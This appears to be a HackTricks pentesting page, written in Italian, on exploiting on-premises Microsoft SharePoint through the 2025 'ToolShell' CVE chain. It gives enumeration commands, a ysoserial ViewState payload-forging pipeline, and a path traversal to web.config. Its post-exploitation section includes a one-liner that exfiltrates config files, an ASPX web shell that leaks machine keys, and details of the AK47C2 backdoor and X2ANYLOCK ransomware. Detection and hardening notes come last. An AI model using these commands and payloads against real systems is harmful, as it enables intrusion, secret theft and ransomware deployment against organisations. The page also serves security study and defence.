Microsoft SharePoint – Pentesting & Exploitation
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Microsoft SharePoint (on-premises) è costruito su ASP.NET/IIS. La maggior parte della superficie di attacco web classica (ViewState, Web.Config, web shells, ecc.) è quindi presente, ma SharePoint include anche centinaia di pagine ASPX proprietarie e servizi web che ampliano notevolmente la superficie di attacco esposta. Questa pagina raccoglie trucchi pratici per enumerare, sfruttare e persistere all’interno degli ambienti SharePoint con enfasi sulla catena di exploit 2025 divulgata da Unit42 (CVE-2025-49704/49706/53770/53771).
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 exploit chain (a.k.a. “ToolShell”)
2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> consente l’inserimento di codice Server-Side Include arbitrario nella pagina che viene successivamente compilata da ASP.NET. Un attaccante può incorporare C# che esegue Process.Start() e inserire un ViewState malevolo.
2.2 CVE-2025-49706 – Improper Authentication Bypass
La stessa pagina si fida dell’intestazione X-Forms_BaseUrl per determinare il contesto del sito. Puntandola a /_layouts/15/, la MFA/SSO imposta nel sito principale può essere bypassata senza autenticazione.
2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE
Una volta che l’attaccante controlla un gadget in ToolPane.aspx, può inviare un valore __VIEWSTATE non firmato (o solo MAC) che attiva la deserializzazione .NET all’interno di w3wp.exe, portando all’esecuzione di codice.
Se la firma è abilitata, rubare il ValidationKey/DecryptionKey da qualsiasi web.config (vedi 2.4) e forgiare il payload con ysoserial.net o ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
Per una spiegazione approfondita su come abusare di ASP.NET ViewState leggi:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Path Traversal / divulgazione di web.config
Inviare un parametro Source creato a ToolPane.aspx (ad es. ../../../../web.config) restituisce il file mirato, consentendo la fuga di:
<machineKey validationKey="…" decryptionKey="…">➜ forgiare i cookie ViewState / ASPXAUTH- stringhe di connessione e segreti.
3. Ricette di post-sfruttamento osservate nel mondo reale
3.1 Esfiltrare ogni file .config (variazione-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
Il file debug_dev.js risultante può essere scaricato in modo anonimo e contiene tutte le configurazioni sensibili.
3.2 Distribuire una shell web ASPX codificata in Base64 (variazione-2)
powershell.exe -EncodedCommand <base64>
Esempio di payload decodificato (accorciato):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Scritto a:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
La shell espone endpoint per leggere / ruotare le chiavi della macchina che consente di forgiare i cookie ViewState e ASPXAUTH attraverso la farm.
3.3 Variante offuscata (variazione-3)
Stessa shell ma:
- posizionata sotto
...\15\TEMPLATE\LAYOUTS\ - nomi delle variabili ridotti a lettere singole
Thread.Sleep(<ms>)aggiunto per evasione della sandbox e bypass dell’AV basato sul timing.
3.4 Backdoor multi-protocollo AK47C2 e ransomware X2ANYLOCK (osservato 2025-2026)
Indagini recenti di risposta agli incidenti (Unit42 “Project AK47”) mostrano come gli attaccanti sfruttino la catena ToolShell dopo il RCE iniziale per distribuire un impianto C2 a doppio canale e ransomware negli ambienti SharePoint:
AK47C2 – variante dnsclient
- Server DNS hard-coded:
10.7.66.10che comunica con il dominio autorevoleupdate.updatemicfosoft.com. - I messaggi sono oggetti JSON crittografati con XOR con la chiave statica
VHBD@H, codificati in esadecimale e incorporati come etichette di sottodominio.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Le query lunghe sono suddivise in chunk e prefissate con
s, quindi riassemblate lato server. - Il server risponde in record TXT che trasportano lo stesso schema XOR/esadecimale:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- La versione 202504 ha introdotto un formato semplificato
<COMMAND>::<SESSION_KEY>e marcatori di chunk1,2,a.
AK47C2 – variante httpclient
- Riutilizza esattamente la routine JSON & XOR ma invia il blob esadecimale nel corpo HTTP POST tramite
libcurl(CURLOPT_POSTFIELDS, ecc.). - Stesso flusso di lavoro per compiti/risultati che consente:
- Esecuzione arbitraria di comandi shell.
- Intervallo di sonno dinamico e istruzioni di kill-switch.
Ransomware X2ANYLOCK
- Payload C++ a 64 bit caricato tramite side-loading DLL (vedi sotto).
- Utilizza AES-CBC per i dati dei file + RSA-2048 per avvolgere la chiave AES, quindi aggiunge l’estensione
.x2anylock. - Cripta ricorsivamente i dischi locali e le condivisioni SMB scoperte; salta i percorsi di sistema.
- Rilascia una nota in chiaro
How to decrypt my data.txtincorporando un Tox ID statico per le negoziazioni. - Contiene un kill-switch interno:
if (file_mod_time >= "2026-06-06") exit(0);
Catena di side-loading DLL
- L’attaccante scrive
dllhijacked.dll/My7zdllhijacked.dllaccanto a un legittimo7z.exe. w3wp.exegenerato da SharePoint avvia7z.exe, che carica la DLL malevola a causa dell’ordine di ricerca di Windows, invocando il punto di ingresso del ransomware in memoria.- Un caricatore LockBit separato osservato (
bbb.msi➜clink_x86.exe➜clink_dll_x86.dll) decritta il codice shell e esegue DLL hollowing ind3dl1.dllper eseguire LockBit 3.0.
[!INFO] Lo stesso Tox ID statico trovato in X2ANYLOCK appare nei database LockBit trapelati, suggerendo sovrapposizione tra affiliati.
4. Idee di rilevamento
| Telemetria | Perché è sospetta |
|---|---|
w3wp.exe → cmd.exe | Il processo worker dovrebbe raramente generare una shell |
cmd.exe → powershell.exe -EncodedCommand | Classico pattern lolbin |
Eventi file che creano debug_dev.js o spinstall0.aspx | IOC direttamente da ToolShell |
ProcessCmdLine CONTIENE ToolPane.aspx (log ETW/Modulo) | PoC pubblici invocano questa pagina |
Esempio di regola XDR / Sysmon (pseudo-XQL):
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
5. Indurimento e Mitigazione
- Patch – Gli aggiornamenti di sicurezza di luglio 2025 risolvono tutti e quattro i CVE.
- Ruotare ogni
<machineKey>e segretiViewStatedopo una compromissione. - Rimuovere il permesso di scrittura LAYOUTS dai gruppi
WSS_WPGeWSS_ADMIN_WPG. - Bloccare l’accesso esterno a
/_layouts/15/ToolPane.aspxa livello di proxy/WAF. - Abilitare ViewStateUserKey, MAC abilitato e EventValidation personalizzato.
Trucchi correlati
- Post-sfruttamento di IIS e abuso di web.config:
IIS - Internet Information Services
Riferimenti
- Unit42 – Sfruttamento attivo delle vulnerabilità di Microsoft SharePoint
- GitHub PoC – Catena di sfruttamento ToolShell
- Avviso di sicurezza Microsoft – CVE-2025-49704 / 49706
- Unit42 – Progetto AK47 / Sfruttamento di SharePoint e attività di ransomware
- Avviso di sicurezza Microsoft – CVE-2025-53770 / 53771
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

